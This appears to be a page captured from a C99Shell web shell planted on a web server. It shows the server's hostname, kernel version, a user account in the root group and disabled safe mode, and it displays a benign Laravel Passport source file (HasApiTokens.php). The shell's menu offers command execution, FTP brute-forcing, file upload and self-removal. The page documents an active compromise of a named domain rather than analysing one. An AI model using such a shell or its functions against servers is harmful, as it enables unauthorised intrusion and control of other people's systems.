!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasApiTokens.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport;

use 
Illuminate\Container\Container;

trait 
HasApiTokens
{
    
/**
     * The current access token for the authentication user.
     *
     * @var \Laravel\Passport\Token
     */
    
protected $accessToken;

    
/**
     * Get all of the user's registered OAuth clients.
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function clients()
    {
        return 
$this->hasMany(Passport::clientModel(), 'user_id');
    }

    
/**
     * Get all of the access tokens for the user.
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function tokens()
    {
        return 
$this->hasMany(Passport::tokenModel(), 'user_id')->orderBy('created_at''desc');
    }

    
/**
     * Get the current access token being used by the user.
     *
     * @return \Laravel\Passport\Token|null
     */
    
public function token()
    {
        return 
$this->accessToken;
    }

    
/**
     * Determine if the current API token has a given scope.
     *
     * @param  string  $scope
     * @return bool
     */
    
public function tokenCan($scope)
    {
        return 
$this->accessToken $this->accessToken->can($scope) : false;
    }

    
/**
     * Create a new personal access token for the user.
     *
     * @param  string  $name
     * @param  array  $scopes
     * @return \Laravel\Passport\PersonalAccessTokenResult
     */
    
public function createToken($name, array $scopes = [])
    {
        return 
Container::getInstance()->make(PersonalAccessTokenFactory::class)->make(
            
$this->getKey(), $name$scopes
        
);
    }

    
/**
     * Set the current access token for the user.
     *
     * @param  \Laravel\Passport\Token  $accessToken
     * @return $this
     */
    
public function withAccessToken($accessToken)
    {
        
$this->accessToken $accessToken;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--